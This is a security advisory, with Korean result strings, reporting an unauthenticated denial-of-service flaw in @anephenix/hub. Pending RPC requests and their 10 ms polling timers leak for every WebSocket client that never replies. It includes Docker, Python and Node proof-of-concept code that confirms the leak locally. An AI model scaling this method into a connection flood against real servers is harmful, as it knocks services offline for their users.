취약점

Summary

@anephenix/hub starts a setInterval polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).

Details

When a client connects, loadDefaultConnectionEventListeners (registered in src/lib/index.ts:128) adds a connection listener that calls requestClientId({ ws, rpc }) for every new WebSocket (src/lib/index.ts:262). requestClientId issues an RPC send for the get-client-id action (src/lib/clientId.ts:112), which internally calls rpc.send.

Inside rpc.send, the payload is pushed onto this.requests (src/lib/rpc.ts:282) and waitForReply is invoked. waitForReply starts a setInterval that polls responses[] every 10 ms for a matching reply (src/lib/rpc.ts:250):

// src/lib/rpc.ts:250–267
interval = setInterval(() => {
    const response = responses.find(
        (r) => r.id === id && r.action === action,
    );
    if (response) {
        if (interval) clearInterval(interval);
        // ... resolve and cleanup
        this.cleanupRPCCall(response);
    }
}, 10);

clearInterval is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the this.requests entry. The close handler registered in loadDefaultConnectionEventListeners (src/lib/index.ts:128–134) only calls pubsub.unsubscribeClientFromAllChannels; it does not cancel pending RPC requests for that socket.

Data flow (source → sink):

1. src/lib/index.ts:269 — wss.on("connection") accepts any remote WebSocket (no authentication).
2. src/lib/index.ts:272 — connection listeners are iterated and invoked.
3. src/lib/index.ts:262 — requestClientId({ ws, rpc: this.rpc }) is called for every connection by default.
4. src/lib/clientId.ts:112 — rpc.send({ ws, action: 'get-client-id' }) creates an RPC request.
5. src/lib/rpc.ts:282 — this.requests.push(payload) registers the pending request.
6. src/lib/rpc.ts:250 — setInterval(..., 10) begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.

PoC

Prerequisites: Docker must be available on the host.

Step 1 — Build the verification image:

docker build --no-cache \
  -f vuln-001/Dockerfile \
  -t hub-vuln-001:latest \
  reports/npm_web_272_anephenix__hub

Step 2 — Run the container:

docker run --rm --network none hub-vuln-001:latest

The container runs verify.mjs, which:

1. Starts a Hub server on a local port.
2. Opens a WebSocket and waits for the server's get-client-id RPC message without replying.
3. Closes the socket and waits 300 ms.
4. Inspects hub.rpc.requests.length — it must remain 1 even though hub.wss.clients.size is 0.
5. Opens five more sockets the same way (batch), then verifies that pendingRpcRequests equals 6.

Step 3 — Alternatively, run the Python orchestrator directly:

python3 vuln-001/poc.py

Expected output (confirmed):

{
  "snapshotAfterClose":  {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
  "snapshotAfterBatch":  {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}

pendingRpcRequests grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.

Minimal inline reproduction (without Docker, inside the repository after npm ci && npm run build):

node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';

const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);

await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
  serverClients:      hub.wss.clients.size,
  pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF

Expected:

{"serverClients": 0, "pendingRpcRequests": 1}

Impact

This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable @anephenix/hub server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's get-client-id RPC causes the server process to accumulate one setInterval timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.

No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket connect followed by silence is sufficient.

Reproduction artifacts

Dockerfile

FROM node:20-alpine

RUN apk add --no-cache python3 make g++

WORKDIR /app

# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts

# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build

# Copy the vulnerability verification script into /app so node_modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs

CMD ["node", "/app/verify.mjs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)

Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.

Usage:
    python3 poc.py

Exit codes:
    0  — vulnerability confirmed (PASS)
    1  — not reproduced (FAIL)
    2  — environment / build error
"""

import json
import subprocess
import sys
from pathlib import Path

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT   = SCRIPT_DIR.parent              # …/npm_web_272_anephenix__hub/
DOCKERFILE  = SCRIPT_DIR / "Dockerfile"
POC_TAG     = "hub-vuln-001:latest"

BUILD_CMD = [
    "docker", "build",
    "--no-cache",
    "-f", str(DOCKERFILE),
    "-t", POC_TAG,
    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]

RUN_CMD = [
    "docker", "run",
    "--rm",
    "--network", "none",  # no external network access needed
    POC_TAG,
]


def banner(msg: str) -> None:
    print(f"\n{'='*60}\n  {msg}\n{'='*60}")


def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    print("$", " ".join(cmd))
    return subprocess.run(cmd, **kwargs)


def build_image() -> None:
    banner("Phase 1 — Building Docker image")
    result = run(BUILD_CMD, capture_output=False)
    if result.returncode != 0:
        print("[ERROR] Docker build failed.", file=sys.stderr)
        sys.exit(2)
    print("[OK] Image built:", POC_TAG)


def run_poc() -> dict:
    banner("Phase 2 — Running vulnerability verification inside container")
    result = run(RUN_CMD, capture_output=True, text=True)

    print("--- container stdout ---")
    print(result.stdout)
    if result.stderr:
        print("--- container stderr ---")
        print(result.stderr)

    # The container exits 0 on confirmed leak, 1 otherwise.
    if result.returncode == 2:
        print("[ERROR] Verification script crashed.", file=sys.stderr)
        sys.exit(2)

    try:
        data = json.loads(result.stdout)
    except json.JSONDecodeError as exc:
        print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
        sys.exit(2)

    return data, result.returncode


def evaluate(data: dict, container_exit: int) -> tuple[bool, str]:
    """Return (passed, evidence_summary)."""
    after_close = data.get("snapshotAfterClose", {})
    after_batch  = data.get("snapshotAfterBatch", {})

    leaked_single = (
        after_close.get("pendingRpcRequests", 0) > 0 and
        after_close.get("serverClients", -1) == 0 and
        after_close.get("clientState", -1) == 3          # WebSocket.CLOSED
    )

    leaked_batch = (
        after_batch.get("pendingRpcRequests", 0) ==
        after_batch.get("expectedPendingRpcRequests", -1)
    )

    passed = leaked_single and leaked_batch and container_exit == 0

    evidence = (
        f"snapshotAfterClose={json.dumps(after_close)}; "
        f"snapshotAfterBatch={json.dumps(after_batch)}; "
        f"container_exit={container_exit}"
    )
    return passed, evidence


def main() -> None:
    build_image()
    data, container_exit = run_poc()

    banner("Phase 3 — Evaluating results")
    passed, evidence = evaluate(data, container_exit)

    if passed:
        print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
    else:
        print("[FAIL] Leak NOT observed — check container output above.")

    return passed, evidence, data


if __name__ == "__main__":
    passed, evidence, raw = main()

    verdict = "PASS" if passed else "FAIL"
    reason = (
        "소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
        "런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
        "배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
        if passed else
        "컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
    )

    result_path = SCRIPT_DIR / "phase2_result.json"
    phase2 = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {Path(__file__).name}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
    }

    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))
    print(f"\n[INFO] Results written to {result_path}")

    sys.exit(0 if passed else 1)